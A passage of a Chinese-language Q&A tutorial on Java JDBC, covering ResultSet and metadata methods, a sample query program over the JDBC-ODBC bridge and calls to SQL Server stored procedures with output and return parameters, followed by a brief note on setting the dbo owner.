+ host.trim() + ":" + new Integer(port).toString() + ";DatabaseName=" + databaseName.trim()); //super.setUrl("jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=demo"); } …… //------------------------------------------------------------------------------------ 访问MySQL的方法: DBDriver=com.mysql.jdbc.Driver URL=jdbc:mysql://localhost/demo username= password= maxcon=5 mincon=1 poolName=zhengmao 访问数据库 一旦连接到数据库,就可以请求表名以及表列的名称和内容等信息,而且您可以运行 SQL 语句来查询数据库或者添加或修改其内容。可用来从数据库中获取信息的对象有: DatabaseMetaData 有关整个数据库的信息:表名、表的索引、数据库产品的名称和版本、数据库支持的操作。 ResultSet 关于某个表的信息或一个查询的结果。您必须逐行访问数据行,但是您可以任何顺序访问列。 ResultSetMetaData 有关 ResultSet 中列的名称和类型的信息。 尽管每个对象都有大量的方法让您获得数据库元素的极为详细的信息,但在每个对象中都有几种主要的方法使您可获得数据的最重要信息。然而,如果您希望看到比此处更多的信息,建议您学习文档以获得其余方法的说明。 ResultSet ResultSet 对象是 JDBC 中最重要的单个对象。从本质上讲,它是对一个一般宽度和未知长度的表的一种抽象。几乎所有的方法和查询都将数据作为 ResultSet 返回。ResultSet 包含任意数量的命名列,您可以按名称访问这些列。它还包含一个或多个行,您可以按顺序自上而下逐一访问。在您使用 ResultSet 之前,必须查询它包含多少个列。此信息存储在 ResultSetMetaData 对象中。 //从元数据中获得列数 ResultSetMetaData rsmd; rsmd = results.getMetaData(); numCols = rsmd.getColumnCount(); 当您获得一个 ResultSet 时,它正好指向第一行之前的位置。您可以使用 next() 方法得到其他每一行,当没有更多行时,该方法会返回 false。由于从数据库中获取数据可能会导致错误,您必须始终将结果集处理语句包括在一个 try 块中。 您可以多种形式获取 ResultSet 中的数据,这取决于每个列中存储的数据类型。另外,您可以按列序号或列名获取列的内容。请注意,列序号从 1 开始,而不是从 0 开始。ResultSet 对象的一些最常用方法如下所示。 getInt(int); 将序号为 int 的列的内容作为整数返回。 getInt(String); 将名称为 String 的列的内容作为整数返回。 getFloat(int); 将序号为 int 的列的内容作为一个 float 型数返回。 getFloat(String); 将名称为 String 的列的内容作为 float 型数返回。 getDate(int); 将序号为 int 的列的内容作为日期返回。 getDate(String); 将名称为 String 的列的内容作为日期返回。 next(); 将行指针移到下一行。如果没有剩余行,则返回 false。 Close(); 关闭结果集。 getMetaData(); 返回 ResultSetMetaData 对象。 ResultSetMetaData 您使用 getMetaData() 方法从 ResultSet 中获取 ResultSetMetaData 对象。您可以使用此对象获得列的数目和类型以及每一列的名称。 getColumnCount(); 返回 ResultSet 中的列数。 getColumnName(int); 返回列序号为 int 的列名。 getColumnLabel(int); 返回此列暗含的标签。 isCurrency(int); 如果此列包含带有货币单位的一个数字,则返回 true。 isReadOnly(int); 如果此列为只读,则返回 true。 isAutoIncrement(int); 如果此列自动递增,则返回 true。这类列通常为键,而且始终是只读的。 getColumnType(int); 返回此列的 SQL 数据类型。这些数据类型包括 BIGINT BINARY BIT CHAR DATE DECIMAL DOUBLE FLOAT INTEGER LONGVARBINARY LONGVARCHAR NULL NUMERIC OTHER REAL SMALLINT TIME TIMESTAMP TINYINT VARBINARY VARCHAR DatabaseMetaData DatabaseMetaData 对象可为您提供整个数据库的信息。您主要用它获取数据库中表的名称,以及表中列的名称。由于不同的数据库支持不同的 SQL 变体,因此,也有多种方法查询数据库支持哪些 SQL 方法。 getCatalogs() 返回该数据库中的信息目录列表。使用 JDBC-ODBC Bridge 驱动程序,您可以获得用 ODBC 注册的数据库列表。这很少用于 JDBC-ODBC 数据库。 getTables(catalog, schema,tableNames, columnNames) 返回表名与 tableNames 相符而且列名与 columnNames 相符的所有表的说明。 getColumns(catalog, schema,tableNames, columnNames) 返回表名与 tableNames 相符而且列名与 columnNames 相符的所有表列说明。 getURL(); 获得您所连接的 URL 名称。 getDriverName(); 获得您所连接的数据库驱动程序的名称。 获取有关表的信息 您可以使用 DataBaseMetaData 的 getTables() 方法来获取数据库中表的信息。这个方法有如下4个 String 参数: results =dma.getTables(catalog, schema, tablemask, types[]); 其中参数的意义是: Catalog 要在其中查找表名的目录名。对于 JDBC-ODBC 数据库以及许多其他数据库而言,可将其设置为 null。这些数据库的目录项实际上是它在文件系统中的绝对路径名称。 Schema 要包括的数据库“方案”。许多数据库不支持方案,而对另一些数据库而言,它代表数据库所有者的用户名。一般将它设置为 null。 Tablemask 一个掩码,用来描述您要检索的表的名称。如果您希望检索所有表名,则将其设为通配符 %。请注意,SQL 中的通配符是 % 符号,而不是一般 PC 用户的 * 符号。 types[] 这是描述您要检索的表的类型的 String 数组。数据库中通常包括许多用于内部处理的表,而对作为用户的您没什么价值。如果它是空值,则您会得到所有这些表。如果您将其设为包含字符串“TABLES”的单元素数组,您将仅获得对用户有用的表格。 一个简单的 JDBC 程序 我们已经学习了 JDBC 的所有基本功能,现在我们可以编写一个简单的程序,该程序打开数据库,打印它的表名以及某一表列的内容,然后对该数据库执行查询。此程序如下所示: package skydevkit; import java.sql.*; public class JdbcOdbc_test { ResultSet results; ResultSetMetaData rsmd; DatabaseMetaData dma; Connection con; public JdbcOdbc_test() throws SQLException { String url = "jdbc:odbc:Northwind"; try { //加载 JDBC-ODBC 桥驱动程序 Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); con = DriverManager.getConnection(url);//连接数据库 dma = con.getMetaData();//获取数据库的元数据 System.out.println("Connected to:" + dma.getURL()); System.out.println("Driver " + dma.getDriverName()); } catch (Exception e) { System.out.println(e); } try { Statement stmt = con.createStatement(); results = stmt.executeQuery("select * from 客户;"); ResultSetMetaData resultMetaData = results.getMetaData(); int cols = resultMetaData.getColumnCount(); String resultRow = ""; for (int i = 1; i < cols; i++) { resultRow += resultMetaData.getColumnName(i) + ";"; } System.out.println(resultRow); while (results.next()) { resultRow = ""; for (int i = 1; i < cols; i++) { try { resultRow += results.getString(i) + ";"; } catch (NullPointerException e) { System.out.println(e.getMessage()); } } System.out.println(resultRow); } } catch (Exception e) { System.out.println("query exception"); } finally { results.close(); } } } 补充高级内容 关于调用SQLServer存储过程的例子:(用到了我们开发的数据库连接类) CREATE PROCEDURE [dbo].[sp_getStudentByName](@name char(10)) AS Select * from Students where [Name]=@name GO DbObject DbO = new DbObject(new SqlServerConnectionFactory("localhost", 1433, "demo", "sa", "")); Connection con = DbO.getConnection(); CallableStatement pstmt = null; System.out.println("TestDB1()............"); /* try { pstmt = con.prepareCall("{call sp_getStudentById(?)}"); pstmt.setInt(1, 1); }*/ try { pstmt = con.prepareCall("{call sp_getStudentByName(?)}"); //注意参数如何传递 pstmt.setString(1, "Tom"); } …… 使用输出参数: CREATE PROCEDURE [dbo].[sp_insertStudent](@name char(10),@age int,@id int OUTPUT) AS insert into Students([Name],[Age]) values (@name,@age) select @id=@@IDENTITY GO try { pstmt = con.prepareCall("{call sp_insertStudent(?,?,?)}"); pstmt.setString(1, "zengqingsong"); pstmt.setInt(2, 22); pstmt.registerOutParameter(3, Types.INTEGER); pstmt.executeUpdate(); int id = pstmt.getInt(3); System.out.println(id); } 使用返回参数的例子: CREATE PROCEDURE [dbo].[sp_insertStudent](@name char(10),@age int,@id int OUTPUT) AS insert into Students([Name],[Age]) values (@name,@age) select @id=@@IDENTITY –测试输出参数 return 30 –测试返回30 GO try { pstmt = con.prepareCall("{?=call sp_insertStudent(?,?,?)}"); pstmt.setString(2, "zengqingsong"); pstmt.setInt(3, 22); pstmt.registerOutParameter(4, Types.INTEGER); pstmt.registerOutParameter(1, Types.INTEGER); int ret = pstmt.executeUpdate(); //执行影响的行数 int ret2 = pstmt.getInt(1); //返回参数(输出参数) int id = pstmt.getInt(4); //输出参数 System.out.println(ret); System.out.println(ret2); System.out.println(id);参考资料:http://zhidao.baidu.com/question/2050414.html
2023-06-16 14:39:401

sql2008如何更改所有者为dbo

创建存储过程中开头:如 create procedure[dbo].[p_usersAdd]
2023-06-16 14:39:471